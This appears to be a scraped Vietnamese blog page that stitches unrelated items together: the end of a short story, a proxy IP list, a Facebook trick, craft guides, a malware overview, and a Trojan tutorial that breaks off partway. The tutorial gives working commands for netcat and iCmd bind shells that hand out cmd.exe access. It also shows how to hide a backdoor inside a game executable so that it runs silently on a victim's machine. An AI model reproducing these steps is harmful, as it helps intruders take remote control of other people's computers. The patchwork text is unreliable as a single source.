Người ta đồn đại không hay về tôi và nó. Trí tưởng tượng của những người rỗi hơi vẫn bị dẫn dắt bằng sự mê tín và giờ đây còn được dẫn dắt bằng sự nhẫn tâm nữa. Một hôm tôi đi mua vài thứ lặt vặt ở tiệm tạp hóa gần chợ, có kẻ đã nói ngay sau lưng tôi: “Tiền Tây nó mạnh thật, mua được cả một thằng trai tơ cho một mụ gái già què cụt”. Tối hôm ấy thấy nó đến, tôi bảo:

- Cháu khỏi hẳn rồi, đừng luẩn quẩn ở đây mãi. Tối rỗi rãi thì ở nhà xem tivi, chuyện trò với ông bà già.

Nó bắt ý tôi rất nhanh:

- Cô đuổi khéo cháu chứ gì? Cô sợ những đứa thối mồm nói bậy phải không? Đ.mẹ chúng nó, nói về cháu thì không sao nhưng đứa nào mà nói xấu cô trước mặt cháu thì cháu phay cả nhà nó ngay.

- Cháu phải cai cả cái ấy đi.

- Cái gì cơ?

- Chửi đệm.

- Đ.mẹ, sao mình nhiễm lắm thứ khốn nạn thế không biết. Cai, cai - nó tự vả vào mồm mình đôm đốp.

Dĩ nhiên nó đã quyết là làm được. Cai chửi đệm dĩ nhiên dễ hơn cai ma túy nhiều. Nó không chửi đệm, nó nói tôi dễ bắt ý nó hơn.

Nó khỏe hẳn rồi, vẫn đến chơi với tôi. Tối đến nó đẩy xe lăn đưa tôi ra gốc bồ kết bên bờ sông ngắm trăng. Nó ngồi bệt xuống vệ cỏ, gạ tôi kể chuyện đời tôi cho nó nghe, và cứ nài tôi kể chi tiết chuyện tôi bị xe cán đứt chân (tất cả mọi người đều tránh gợi chuyện này trước mặt tôi). Tôi kể tất cả với nó và lạ lùng là kể xong tôi thấy nhẹ nhõm như thể vừa đem chuyện đau đớn ấy quăng xuống sông cho trôi theo dòng nước để lòng không còn vướng bận gì nữa hết. Nó hỏi tôi:

- Cô cụt ngủn thế có chán đời không?

- À... có chứ.

- Cô kiếm việc gì mà làm cho quên cô ạ. Hay là cô đợi cháu lấy vợ đẻ con mang đến cho cô trông. Lúc nó bé cô ôm nó trên xe lăn, lúc nó lớn nó đẩy xe đưa cô đi khắp làng.

Tôi cười trong nước mắt.

Có lần tôi hỏi nó:

- Ai mách cháu trong cây chuối có chất cai nghiện?

Nó cười khì khì:

- Làm quái gì có cô. Hồi trước em cháu bị bệnh nặng, cả nhà cháu phải cắt bữa để dành tiền mua thuốc cho nó. Có bận cả ngày cháu chẳng thấy nhà cháu nhóm bếp lần nào, ai đi đâu kiếm được cái gì cho vào bụng thì kiếm. Cháu chui sang vườn chuối nhà bà cháu, vít nõn chuối xuống nhai, hết nõn cháu bẻ cả thân chuối non. Cháu chưa thấy thứ gì làm cháu dễ chịu như cái của ấy.

- À... Cô cứ tưởng...

- Cô tưởng có thể đem cây chuối lên báo để phổ biến chứ gì?

Nó bắt ý tôi đến tài.

Hôm ấy là mười hai tháng chạp. Không khí tết đã mon men đến khu trung tâm xã nơi có những cửa hàng san sát. Nó bỗng dưng nảy ra ý tưởng đưa tôi đi cắt tóc ngắn. Nó bảo mái tóc dài của tôi đẹp nhưng khiến người ta tưởng tôi là ma. Tôi thấy nó nói phải liền đồng ý để nó đẩy xe đưa tôi ra tiệm cắt tóc gần chợ. Đến nơi nó xốc nách chuyển tôi ra chiếc ghế của tiệm, giúp thợ cắt tóc khoác chiếc khăn trắng quanh vai tôi rồi ngồi lên chiếc xe lăn của tôi vắt chân chữ ngũ cầm một tờ báo đọc lầm rầm. Cái cảnh nó với tôi ở cùng nhau như thế chắc chắn khiến những người qua đường xì xào nhưng tôi chẳng buồn nghĩ tới việc đó mà chỉ căng mắt nhìn vào gương đề phòng tay thợ cắt tóc mới đến xã tôi hành nghề cố tình cắt tóc tôi quá ngắn. Chúng tôi đang ai có việc nấy như thế thì đột nhiên có tiếng còi xe môtô rất lạ rú lên.

- Công an, công an chúng mày ơi!

Bọn trẻ con ở hai bên đường ríu rít gọi nhau chạy theo chiếc xe môtô. Tay thợ cắt tóc vẫn chăm chú xẻo từng lọn tóc của tôi vứt xuống đất. Tôi vẫn soi gương. Nó vẫn lầm rầm đọc báo. Mười phút trôi qua. Mọi chuyện vẫn giống hệt mười phút trước. Bỗng tiếng còi xe cảnh sát lại rú lên, mỗi lúc một to, kèm theo đó là tiếng động cơ xe ù ù. Chiếc xe cảnh sát đỗ lại trước cửa tiệm cắt tóc. Xe đứng yên mà còi xe vẫn gào thét nhức óc. Ba công an và mấy người của xã ập vào trong tiệm. Đầu óc tôi đơ. Hình như họ đọc, chắc là có đọc một cái lệnh hay một quyết định gì đó. Còng số tám bập vào tay nó kêu đánh cạch. Nó bị kéo đứng dậy. Đi, ai đó thúc lưng nó. Tôi tỉnh táo trở lại.

Tôi ngoái cổ ra van xin: “Thằng bé cai được rồi, khỏi hẳn rồi mà, xin đừng bắt nó đi. Nó cai được rồi, tôi xin bảo đảm”. Mấy người công an không ai nói gì. Ông trưởng công an xã quay đầu lại nhìn tôi bằng ánh mắt không thể hiện gì khác ngoài sự khinh rẻ như thể tôi đã hóa thành con bọ hung bẩn thỉu. Thì ra hai năm trước nó dính vào một vụ cướp xe máy. Giờ công an bắt được kẻ cầm đầu và kẻ đó khai ra nó.

Nó cùng đồng bọn bị đưa ra tòa xét xử. Nó lãnh án ba năm tù, bị giam trong một trại tù ở miền Trung. Nó đi tù được một năm thì bố nó đổ bệnh rồi mất. Giờ mẹ nó đang ốm liệt giường. Có vẻ như từ khi nó vào tù, nó chưa có người thân nào vào thăm.

Tính cho đến hôm nay tôi đã đợi nó ba năm bảy tháng. Có kẻ rỗi hơi trong làng đã tìm đến tôi kể chuyện ở tù của những con nghiện với dụng ý không được tốt đẹp cho lắm. Người ấy nói rằng những kẻ nghiện và những tên côn đồ bị tống vào tù ở chung với nhau thường hà hiếp nhau, mài giũa nhau, đến nỗi khi ra trại nhiều đứa hung hăng hơn, sa đọa hơn, hỏng hẳn. Tôi không tin những lời ấy.

Tôi sẽ vẫn tiếp tục đợi nó. Tôi đợi nó về thực hiện cái kế hoạch thuê khu đất vườn hoang trên rẻo bờ sông để cải tạo thành trang trại. Tôi đợi nó về lấy vợ, đẻ con để tôi được ôm con nó trên xe lăn. Và khi nào con nó lớn, con nó sẽ đẩy xe lăn đưa tôi đi khắp làng.

Những khóm chuối trong vườn nhà tôi và trên khu đất bỏ hoang nhà Hoàn Râu đã tái sinh, đã sinh sôi, lá thì xanh đến là xanh, thân thì bụ đến là bụ. Loài cây ấy chứa một vị ngọt mà chỉ riêng nó biết.

Truyện ngắn của NGUYỄN BÍCH LAN

List Proxy Việt Nam Cập Nhật

Tag: proxy Viet Nam, list proxy, Viet Nam proxy, proxy live

Một số proxy Việt Nam mình sưu tầm được, mong sẽ giúp ích cho các bạn MMO.

203.160.1.75:80
203.160.1.154:553
203.160.1.154:554
203.162.100.30:3128
203.113.148.130:8080
203.113.148.132:8080
203.162.115.116:3128

203.160.1.138:554
203.160.1.138:553
203.160.1.146:554
115.78.0.18:8080
117.6.72.38:8080
115.78.135.30:80
113.160.24.114:3128
118.69.71.143:3128
113.160.48.59:8080
222.255.28.33:3128
210.245.81.202:8888
210.245.89.7:3128
> Google Prizes: Kiếm tiền với trả lời câu hỏi (đã có proof).
> Google Prizes Bonus lên tới 100$ cho việc giới thiệu bạn bè tham gia.

Thứ Hai, 26 tháng 9, 2011

Bí kíp tạo giao diện Timeline kiểu mới trên Facebook

Tính năng Timeline - bước đột phá quan trọng mà Facebook vừa trình diễn tại sự kiện F8 - phải vài tuần nữa mới trình làng, nhưng một số chuyên gia đã nhanh chóng phát hiện ra cách dùng trước.

Thủ thuật đơn giản này được giới thiệu trên trang công nghệ TechCrunch:

Bi kip tao giao dien Timeline kieu moi tren Facebook
Trên Facebook, gõ "Developer" vào thanh tìm kiếm và click vào link đầu tiên được hiển thị.
Bi kip tao giao dien Timeline kieu moi tren Facebook
Sau đó add ứng dụng này bằng cách bấm Allow.


Bi kip tao giao dien Timeline kieu moi tren Facebook



Bấm vào ô Create New App.
Bi kip tao giao dien Timeline kieu moi tren Facebook
Gõ tên ứng dụng bạn muốn tạo (đây chỉ là bước "qua mặt" Facebook nên người dùng có thể gõ tên bất kỳ).
Bi kip tao giao dien Timeline kieu moi tren Facebook
Bấm vào Open Graph.
Bi kip tao giao dien Timeline kieu moi tren Facebook
Gõ vài từ mô tả ứng dụng ở ô "People can..." rồi bấm Get Started.
Bi kip tao giao dien Timeline kieu moi tren Facebook
Tại trang này và trang tiếp theo, bạn chỉ cần cuộn đến cuối trang và bấm "Save Changes and Next".
Bi kip tao giao dien Timeline kieu moi tren Facebook
Khi truy cập tới trang này, hãy kiên nhẫn đợi vài phút (để các thay đổi có thời gian được cập nhật) trước khi quay trở lại trang Home của Facebook.
Bi kip tao giao dien Timeline kieu moi tren Facebook
Khi đó, trên trang Home sẽ có dòng giới thiệu Timeline và cho phép người dùng trải nghiệm thử (tính năng này hiện dành cho các developer - chuyên gia phát triển).
Bi kip tao giao dien Timeline kieu moi tren Facebook
Sau khi "tân trang" lại giao diện Profile, bấm Publish Now để khoe với bạn bè.
Bi kip tao giao dien Timeline kieu moi tren Facebook
"Thành quả" Timeline trên tài khoản người dùng.
Theo_VnExpress.net

Thiệp handmade tặng bạn gái ngày 20-10

Sắp tới 20-10 hẳn các bạn trai cũng muốn gây ấn tượng với người yêu, chị em gái hay là mama của mình, nhân đây mình sẽ hướng dẫn các bạn làm một vài kiểu thiệp đơn giản để gửi gắm tình cảm của mình.

Trước tiên các bạn cần một số dụng cụ ( giống trong ảnh ).. những thanh giây´ dài các bạn có thể cắt bằng tay ( chiều dài là 35,5 cm, chiều ngang là 0,5cm ).Nếu bạn không có que sắt nhỏ giống trong ảnh, bạn có thể dùng tăm hoặc que gỗ nhỏ



+ những tờ bìa cứng hoa văn,màu mè ( mua ở văn phòng phẩm):



Cách làm :



















Dưới đây là một vài ứng dụng cho mọi người tham khảo





Nguồn svdanang.com

Handmade: Trâm cài tóc tặng mẹ nhân ngày 20-10

Trâm cài tóc sẽ là món quà thật ý nghĩa cho các bà mẹ nhân ngày 20-10. Nếu mẹ bạn có mái tóc dài thì nhanh nhanh bắt tay vào làm thôi! Cái này có ích lắm đấy!


Chuẩn bị những đạo cụ này nhé:

- Đũa gỗ

- Khuyên tai

- Màu vẽ

- Đục

Đến phần hành động này: >:D<

Bước 1:

- Mài thon nhọn một đầu của đũa này hoặc các bạn cũng có thể dùng dao để vót cũng được.

Bước 2:

- Đầu còn lại mình đục một lỗ nhỏ nha!

Bước 3:

- Tiếp theo, sơn màu lên đũa nào!

Bước 4:

- Đợi màu khô, xâu khuyên tai vào và cố định bằng cách bẻ gập một đầu đũa.

Cùng xem trâm cài tóc tặng mẹ khi hoàn thành sẽ như thế nào ná!
Vừa đẹp lại không kém phần sang trọng nà!
Mẹ mà cài trâm này sẽ đẹp hơn nhìu đó!

Quà HandMade Tặng Bạn Gái Nhân Ngày 20-10

Nguyên liệu chính: - Dưa hoàng kim ( có thể thay thế bằng dưa lê, dưa hấu, táo, lê...)
Bước 1: Rửa sạch gọt vỏ
Bước 2: Cắt dưa thành từng miếng hình tròn :)
Bước 3: Lọc bỏ hạt, dùng thìa bỏ phần ruột bên trong

Bước 4: Cho nhân ( nho khô hoặc chocolate...) vào trong, cắm ống hút ở giữa.
Bước 5: Xuyên phần nắp qua ống hút, nhớ chừa một đoạn ống hút để cắm sơ ri nha.
Bước 6: đóng hộp, trao quà. ^^
Món quà thật đẹp phải không nào, chắc chắn ai nhận được món quà này cũng phải trầm trồ khen ngợi bạn đấy.
Chúc các bạn gái 20-10 vui vẻ, và chúc các chàng trai sẽ thành công trong dịp đặc biệt này ^^.

Nguồn uehenter.com

Thứ Bảy, 24 tháng 9, 2011

Phân Loại Virus Thông Dụng Và Cách Phòng Chống

Ngày nay, song song với sự phát triển của mạng Internet là sự lan tràn của vô vàn các loại Virus máy tính khác nhau. Trên thực tế, virus máy tính đã trở thành một khái niệm gây ra sự sợ hãi cho nhiều người dùng, đôi khi có những lỗi nhỏ về máy tính cũng bị coi là hậu quả của virus. Để giúp bạn hiểu rõ hơn về tình hình Virus hiện nay cũng như cách phòng chống đơn giản, bài viết này sẽ liệt kê các nhóm phần mềm gây hại thông dụng nhất và thường xuyên được nhắc tới nhất hiện nay. Chúng gồm năm nhóm chính:



1. Keylogger:
Keylogger là phần mềm gây hại có kích thước rất nhỏ nhẹ, chúng hầu như vô hình khi hoạt động, bạn không có cách nào phát hiện ra chúng – tác dụng chính của Keylogger là ghi lại những gì bạn gõ từ bàn phím và gửi thông tin đó tới kẻ đã bằng cách này hay cách khác cài Keylogger lên máy tính bạn sử dụng.

Keylogger đặc biệt nguy hiểm bởi nó được sử dụng chủ yếu nhằm đánh cắp các loại thông tin cá nhân ví dụ như số thẻ tín dụng, mật khẩu… Ở Việt Nam, Keylogger được dùng chủ yếu đánh cắp các tài khoản game trực tuyến và mật khẩu email, chat… Điều này gây thiệt hại tiền bạc hoặc uy tín trực tiếp cho nạn nhân.

Cách xử lý: Nếu bạn nghi ngờ máy đang sử dụng đã bị cài keylogger, bạn không nên gõ bất cứ thứ gì bằng bàn phím, ngay cả khi soạn thảo văn bản bởi keylogger sẽ lưu lại tất cả những gì bạn nhấn trên bàn phím. Một đoạn chat nhạy cảm hay email của công ty khi lộ ra có thể gây rắc rối lớn. Trong trường hợp cần đăng nhập vào email hay tài khoản game, bạn có thể sử dụng bàn phím phần mềm tích hợp sẵn trong mọi hệ điều hành Windows bằng cách vào Start Menu > All Programs > Accessories > Accessibility > On-Screen Keyboard. Bàn phím này cho phép bạn nhập liệu thông qua việc nhấn chuột.

Trong trường hợp máy tính cá nhân của chính bạn bị kẻ xấu cài keylogger (hoặc do bạn vô tình tự cài vào máy), bạn sẽ gặp nhiều rắc rối nếu muộn tiêu diệt nó. Trước khi có thể gỡ bỏ keylogger, bạn cần phải tìm ra nó, việc này không hề dễ dàng chút nào bởi keylogger có thể cài đặt ở bất cứ nơi đâu trên máy tính (thông thường nằm ở các tập tin hệ thống). Tuy nhiên, bạn có thể vào Task Manager (Alt + Ctrl + Del) rồi nhấn vào tab Processes để xem thông tin về các ứng dụng đang chạy (kể cả các loại ẩn). Nếu bạn thấy thành phần nào đáng nghi, hãy chọn nó rồi nhấn End Task, sau đó bạn cập nhật phiên bản trình duyệt Virus của mình lên cơ sở dữ liệu mới nhất và quét toàn bộ hệ thống (Full System Scan). Lưu ý nên sử dụng những phiên bản có uy tín như Karpersky hay Avira…


2. Trojan:
Những chú ngựa thành Trojan trên máy tính cũng hoạt động không khác gì “đồng loại” thực tế của chúng. Sự khác biệt lớn nhất giữa Trojan và virus thông thường là chúng Trojan không thể tự nhân bản. Chính vì thế chúng không có khả năng tự gắn kết với một phần mềm thông thường hợp lệ nào. Nói một cách khác, Trojan không có khả năng lây vào một tập tin nào: nó lây vào chính hệ thống.

Về cơ bản, Trojan có thể chia làm các loại sau:

- Backdoor: Một khi được kích hoạt, nó cho phép chủ nhân điều khiển máy tính của người khác thông qua mạng Internet mà không bị phát hiện.

- Kẻ trộm mật khẩu: Những trojan loại này thường được nhúng vào các tập tin với nhiệm vụ đánh cắp mật khẩu. Thông thường các tiện ích bẻ khóa phần mềm rất hay bị đính kèm với trojan kiểu này.

- Bom Logic: Bom Logic sẽ thực hiện các tác vụ phá hoại hoặc bẻ gãy hàng rào bảo mật của hệ thống khi nhận được tín hiệu điều khiển thích hợp.

- Công cụ tấn công từ chối dịch vụ DOS: DOS Trojan khi lây vào một máy tính sẽ gửi những thông tin được định sẵn tới đích (thường là một website nào đó) để gây nghẽn băng thông mạng. Thông thường, một hacker có thể sử dụng vài chục đến hàng ngàn máy tính với trojan cài sẵn để tiến hành tấn công. Trojan loại này thường không gây hại quá tiêu cực tới máy tính mà nó lây nhiễm ngoại trừ việc sử dụng tài nguyên và đường truyền mạng.

Cách xử lý: Bạn hãy sử dụng phần mềm diệt Virus rà quét các tập tin để phát hiện ra thành phần của Trojan. Khi phát hiện, bạn hãy làm theo hướng dẫn của phần mềm để tiêu diệt các tập tin đáng ngờ. Bạn cũng có thể ghi lại đường dẫn và tên tập tin của Trojan để kiểm tra lại về sau.

3. Sâu máy tính (Worm):
- Sâu máy tính rất giống với virus, tuy nhiên nó không cần một tập tin chủ để tự nhân bản mình. Sâu mạng có khả năng tự phân chia thành 2 bản sao giống hệt nhau và lan truyền thông qua các hình thức kết nối của máy tính (mạng nội bộ, internet…). Sâu mạng có nhiều đặc điểm tồn tại giống với trojan ví dụ như không thể tự lây vào tập tin mà trực tiếp lây vào hệ thống.

- Thông thường, các loại sâu mạng lây lan qua email nhờ vào cơ cấu SMTP tích hợp sẵn, nó cũng có thể sử dụng các phần mềm quản lý Email thông dụng như Microsoft Outlook hay Outlook Express, các dịch vụ tin nhắn tức thời hoặc phần mềm chia sẻ dữ liệu kiểu như KaZaA, Bearshare hay Limewire.

- Cách xử lý: Cách an toàn và hiệu quả nhất để giải phóng một chiếc máy tính khỏi sâu là sử dụng tiện ích diệt riêng. Thông thường những tiện ích dạng này được các nhà sản xuất phần mềm diệt Virus cung cấp miễn phí trên trang chủ của họ. Đôi khi, bạn nên dùng tiện ích này để diệt sâu vì nó hiệu quả và an toàn hơn so với các phần mềm diệt virus thông thường (dù cho các phần mềm này vẫn có thể phát hiện được sâu đang lẩn quất trong hệ thống).

4. Rootkit:

- Rootkit là phần mềm (hoặc một nhóm các phần mềm) với khả năng kiểm soát gốc của một hệ thống máy tính mà không cần bất cứ sự cho phép nào của chủ nhân máy. Thông thường, rootkit không mấy khi điều khiển trực tiếp phần cứng mà nó chỉ kiểm soát hệ điều hành hoặc phần mềm chạy trên một thiết bị phần cứng nhất định. Thông thường rootkit tự che giấu mình khỏi các phép quản lý của hệ điều hành và có cách hành động na ná như Trojan.

Trong năm 2006-2007, đã từng có nhiều vụ kiến cáo lộn xộn vì một số hãng sản xuất âm nhạc đã sử dụng rootkit để quản lý bản quyền, gây bức xúc cho cộng đồng người dùng.

- Cách xử lý: Vẫn với phương thức tìm và diệt tận gốc với các ứng dụng chuyên dụng, tuy nhiên sự tồn tại của Rootkit lại gây ra nhiều rắc rối. Trước tiên, bạn cần tiêu diệt rootkit, sau đó bạn mới có thể gỡ bỏ phần mềm gây hại mà rootkit đang che giấu. Do rootkit thường kiểm soát và tích hợp rất chặt chẽ vào hệ điều hành nền bạn khó lòng có thể gỡ bỏ nó mà không bị rắc rối với Windows ví dụ như vướng phải hiện tượng mất ổn định hoặc một số chức năng nào đó bị vô hiệu hóa. Cách hiệu quả nhất là sử dụng một tiện ích sao lưu đĩa cứng như Norton Ghost hay Acronis Disk Image để khôi phục lại trạng thái đĩa từ các bản sao lưu trước khi rootkit được cài đặt.


5. Phần mềm gián điệp (Spyware, Malware…):
- Phần mềm gián điệp là một công cụ máy tính, sau khi được cài đặt lên một PC, nó sẽ chiếm một số quyền điều khiển của người dùng.

- Mặc dù cái tên gián điệp tạo cảm giác rằng Spyware chỉ theo dõi các hành vi của người dùng, trên thực tế, nó còn gây hại nhiều hơn thế. Các phần mềm gián điệp có thể thu thập thông tin cá nhân của chủ nhân chiếc máy mà nó được cài vào ví dụ như thói quen sử dụng Internet, các trang web truy cập… đồng thời can thiệp vào việc sử dụng máy của người dùng ví dụ như tự cài đặt thêm phần mềm, chuyển hướng các lệnh website, truy cập những trang web có virus một cách tự động hoặc thông dụng nhất là hiển thị các nội dung quảng cáo lên khắp nơi trong hệ điều hành. Một số loại phần mềm gián điệp còn có thể thay đổi tùy chọn của máy tính, vô hiệu hóa các thành phần phần mềm (kể cả phần mềm diệt virus). Thông thường khi máy tính bị nhiễm phần mềm gián điệp, nó sẽ hoạt động khá chậm với trang chủ của trình duyệt bị đổi lung tung kèm theo sự biến mất hoặc xuất hiện đầy bí ẩn của các phần mềm cài đặt.

- Trong số các phần mềm gián điệp (Spyware) thì phần mềm quảng cáo (Adware) là thông dụng nhất. Đây không hẳn là một loại Virus phá hoại nhưng cũng phiền toái không kém, nó thường được tích hợp trong các phần mềm miễn phí hoặc dùng thử để giúp tác giả kiếm chác chút đỉnh thông qua việc hiển thị các thông điệp quảng cáo nhất định. Khoản tiền này thường được tái đầu tư để phát triển phần mềm tốt hơn, do đó Adware có thể xấu hoặc tốt tùy theo cách đánh giá của mỗi người.

- Cách xử lý: Khác với virus, phần mềm gián điệp thường chỉ bị gỡ bỏ khi người dùng sử dụng công cụ quét riêng (Anti-Spyware) ví dụ như Ad-aware 2008 hay Ccleaner… Sau khi quét dọn xong, bạn nên khởi động lại máy tính.

Nguồn forum.hueic.edu.vn

Default Trojan & Backdoor-Cách thức hoạt động & phương pháp phòng chống

Trong bài viết này tôi sẽ trình bày với các bạn về Trojan và Backdoor. Những khái niệm cơ bản về Trojan và Backdoor, phân loại và cách thức lây nhiễm Trojan và Backdoor. Cùng với những kiến thức khác như sử dụng một số Trojan cơ bản, cách thức ẩn Trojan vào trong một file .Exe. Cuối cùng tôi sẽ đưa ra các giải pháp phòng chống Trojan và Backdoor.



1. Giới thiệu về Trojans

2. Các dạng và cách hoạt động của Trojan

3. Cách nhận biết máy tính bị nhiễm Trojan

4. Sự khác nhau của các Trojans

5. Sử dụng một số Trojan để tấn công

6. Ẩn Trojans vào một file .EXE bình thường

7. Cách phát hiện Trojans và Backdoor

8. Giải pháp phòng chống Trojan Backdoor

9. Kết luận

1. Giới thiệu về Trojans.

- Một Trojan là một chương trình nhỏ chạy chế độ ẩn và gây hại cho máy tính.

- Với sự trợ giúp của Trojan, một kẻ tất công có thể dễ dàng truy cập vào máy tính của nạn nhân để thực hiện một số việc nguy hại như lấy cắp dữ liệu, xóa file, và nhiều khả năng khác.

2. Các dạng và cách hoạt động của Trojan

- Kẻ tấn công có thể truy cập được vào các máy tính đã bị nhiễm Trojans khi chúng Online.

- Kẻ tấn công có thể truy cập và điều khiển toàn bộ máy tính của nạn nhân, và chúng có khả năng sử dụng vào nhiều mục đích khác nhau.

- Các dạng Trojans cơ bản:

+Remote Access Trojans – Cho kẻ tấn công kiểm soát toàn bộ hệ thống từ xa.

+ Data-Sending Trojans – Gửi những thông tin nhạy cảm cho kẻ tấn công

+ Destructive Trojans – Phá hủy hệ thống

+ Denied-of-Service – DoS Attack Trojan: Trojans cho tấn công DoS.

+ Proxy Trojans

+ HTTP, FTP Trojans: - Trojan tự tạo thành HTTP hay FTP server để kẻ tấn công khai thác lỗi.

+ Security Software Disable Trojan – Có tác dụng tắt những tính năng bảo mật trong máy tính của nạn nhân.

- Mục đích của những kẻ viết ra những Trojans:

+ Lấy thông tin của Credit Card

+ Lấy thông tin của các tài khoản cá nhân như: Email, Password, Usernames,…

+ Những dữ liệu mật.

+ Thông tin tài chính: Tài khoản ngân hàng…

+ Sử dụng máy tính của nạn nhân để thực hiện một tác vụ nào đó, như để tấn công, scan, hay làm ngập hệ thống mạng của nạn nhân.



3. Những con đường để máy tính nạn nhân nhiễm Trojan.

- Qua các ứng dụng CHAT online như IRC – Interney Relay Chat

- Qua các file được đính kèm trên Mail…

- Qua tầng vật lý như trao đổi dữ liệu qua USB, CD, HDD…

- Khi chạy một file bị nhiễm Trojan

- Qua NetBIOS – FileSharing

- Qua những chương trình nguy hiểm

- Từ những trang web không tin tưởng hay những website cung cấp phần mềm miễn phí

- Nó có khả năng ẩn trong các ứng dụng bình thường, khi chạy ứng dụng đó lập tức cũng chạy luôn Trojans.

4. Những cách nhận biết một máy tính bị nhiễm Trojans – Cơ bản nhất – Có thể không đúng.

- Ổ CD-ROM tự động mở ra đóng vào.

- Máy tính có những dấu hiệu lạ trên màn hình.

- Hình nền của các cửa sổ Windows bị thay đổi…

- Các văn bản tự động in

- Máy tinh tự động thay đổi font chữ và các thiết lập khác

- Hình nền máy tính tự động thay đổi và không thể đổi lại.

- Chuột trái, chuột phải lẫn nộn..

- Chuột không hiển thị trên màn hình.

- Nút Start không hiển thị.

- Một vài cửa sổ chát bật ra

Các Port sử dụng bởi các Trojan phổ biến.

- Back Orifice – Sử dụng UDP protocol – Sử dụng Port 31337 và 31338

- Deep Throat – Sử dụng UDP protocol – Sử dụng Port 2140 và 3150

- NetBus – Sử dụng TCP Protocol – Sử dụng Port 12345 và 12346

- Whack-a-mole – Sử dụng TCP – Qua Port 12361 và 12362

- Netbus 2 Pro – Sử dụng TCP – Qua Port 20034

- GrilFriend - Sử dụng Protocol TCP – Qua Port 21544

- Masters Paradise - Sử dụng TCP Protocol qua Port – 3129, 40421,40422, 40423 và 40426.

Để nhận biết những Port nào trên máy tính đang Active chúng ta dùng câu lệnh:

Netstat –an



5. Sử dụng một số loại Trojan

Với mục đích của bài viết để các bạn hiểu về Trojan, sử dụng Trojan là một trong những nội dung cơ bản của nghiên cứu về bảo mật.Khi biết cách sử dụng và cách hoạt động của các loại Trojan bạn có thể từ đó đưa ra các giải pháp an ninh mạng cho doanh nghiệp của mình cũng như những dữ liệu quan trọng của chúng ta. Trong phần này tôi giới thiệu với các bạn những loại Trojan sau:

- Tini

- iCmd

- Netcat

- HTTP RAT

a. Trojan Tini

Bất kỳ một máy tính nào nếu bị nhiễm Trojan này đều cho phép Telnet qua Port 7777 không cần bất kỳ thông tin xác thực nào.

- Để Trojan này nhiễm vào hệ thống thì chỉ cần chạy một lần hoặc Enter file đó là OK mọi thứ đã hoàn tất và đợi những thông tin Telnet tới port 7777.

- Trên máy 192.168.1.33 đã chạy file tini.exe giờ tôi đứng trên bất kỳ máy nào cũng có thể dùng lệnh: Telnet 192.168.1.33 7777 là có thể console vào được máy đó.



b. iCmd Trojan

Tương tự như Tini Trojan nhưng khác một điều đó là cho phép lựa chọn port để telnet và Password truy cập vào máy bị nhiễm trojan này.
VD: Máy bị nhiễm Trojan chạy file iCmd.exe với câu lệnh

- iCmd.exe vne 8080

Có nghĩa máy này enable telnet trên port 8080 và password là "vne"
Trong ví dụ này tôi để file: iCmd.exe tại thư mục vnexperts.net trên ổ C:\



- Trên máy khác tôi có thể telnet tới máy này với câu lệnh:

- Telnet port

- Như ví dụ trên tôi gõ: telnet 192.168.1.33 8080

Hệ thống bắt tôi nhập password tôi gõ vne vào và Enter



Và kết quả



c. Netcat Trojan.

Trojan này cho phép chúng ta lựa chọn khá nhiều Options như Port, chạy chế độ ẩn, cho phép telnet …..

Để chạy Trojan này tôi gõ câu lệnh:

Nc.exe –L –p -t –e

-L là hoạt động ở chế độ nghe

-p là Port sử dụng để nghe.

-t cho phép sử dụng Telnet

-e chạy một chương trình nào đó.

Trên ví dụ này tôi chạy với câu lệnh

- Nc.exe –L –p 8800 –t –e cmd.exe



Giờ thì tôi có thể đứng bất kỳ trên máy nào có thể telnet tới máy này qua cổng 8800, và hoàn toàn có thể kiểm soát được máy tính đó qua giao diện command line.



d. HTTP RAT

Với tính năng hoạt động như một Web Server được lập trình sẵn cho phép quản lý máy tính trên giao diện Web. Bạn hoàn toàn có thể thực hiện được trên Internet, khi một máy nhiễm Trojan này sẽ tự động gửi mail về cho bạn qua cấu hình.



Giờ đứng trên bất kỳ máy nào bạn cũng có thể vào máy này qua cửa sổ của một trình duyệt web bất kỳ:

http://192.168.1.33

Tôi có thể chạy xóa hay download bất kỳ file nào từ máy nạn nhân



e. ICMP Trojan

Sử dụng tunnel là ICMP gần như được sự đồng ý của bất kỳ firewall nào hay các hệ thống.

- Trên máy nạn nhân sử dụng ICMP Trojan Server chúng ta phải cài Trojan này với câu lệnh

- Ngồi trên bất kỳ máy nào bạn sử dụng ICMPsend để remote tới hệ thống đã bị nhiễm ICMP trojan.

Trên thực tế còn rất nhiều loại Trojan khác bạn có thể tìm hiểu trên các trang web chuyên về security, trong bài viết này tôi chỉ Demo một số loại Trojan dùng để trainning mà thôi.

6. Cách ẩn một hoặc nhiều Trojan vào một file .exe hay file chạy bình thường

Mấy phần bên trên là cách sử dụng Trojan cơ bản. Ví dụ bạn muốn sử dụng con trojan là iCmd.exe bạn phải làm thế nào? Copy file đó vào máy và chạy với câu lệnh iCmd.exe vne 8800? Điều này không thể thực hiện bởi ai cho bạn ngồi trên máy đó.

Vậy làm thế nào để lây nhiễm Trojan này vào máy của nạn nhân?
Thật không may những kẻ tấn công đã khôn ngoan ẩn một hay nhiều Trojan vào một file Exe bình thường, như một chương trình cờ, một file exe bộ cài windows, file chạy của các phần mềm miễn phí mà có khi ẩn luôn vào bộ cài các chương trình diệt virus.

Cách ẩn Trojan vào file .exe đó là công nghệ Wrapper. Các phần mềm thường dùng:

- One file EXE Maker

- Yet Another Binder

- Pretator Wrapper.

a. Sử dụng One file EXE Maker dấu và chạy file iCmd.exe

Download bộ cài của phần mềm này cài ra máy sau đó là chạy để ghép các file

File EXE mà tôi lựa chọn là một chương trình cờ Caro rất phổ biến Fiver6_8.exe.

- File cờ caro tôi để chạy bình thường

- file iCmd.exe tôi để chạy ẩn và copy vào hệ thống

- Câu lệnh thêm trên file iCmd.exe tôi chọn là vne 8800 – cho phép telnet vào port 8800 và password là vne.

Nhấn Save để hoàn thành quá trình.

- Tôi save ra với tên là caro.exe

Nhìn dung lượng của file tôi thấy:

- iCmd.exe dung lượng 36KB

- Fiver6_8_en.exe dung lượng 310K

- Caro.exe được tạo từ hai file trên dung lượng 353KB

Giờ tôi thử chạy file Caro.exe

Chỉ có cửa sổ đánh cờ caro được bật ra nhưng đã có một file iCmd.exe được hoạt động, kiểm tra trong Task Manager:


Đứng trên bất kỳ máy nào tôi cũng có thể remote tới máy này qua port 8800 và password là vne

Trong bài viết này tôi chỉ Demo một chương trình ẩn file Exe các bạn có thể tìm kiếm các phần mềm này trên Internet.

7. Cách phát hiện Trojan.

Có ba nguyên lý của bất kỳ chương trình Trojan nào:

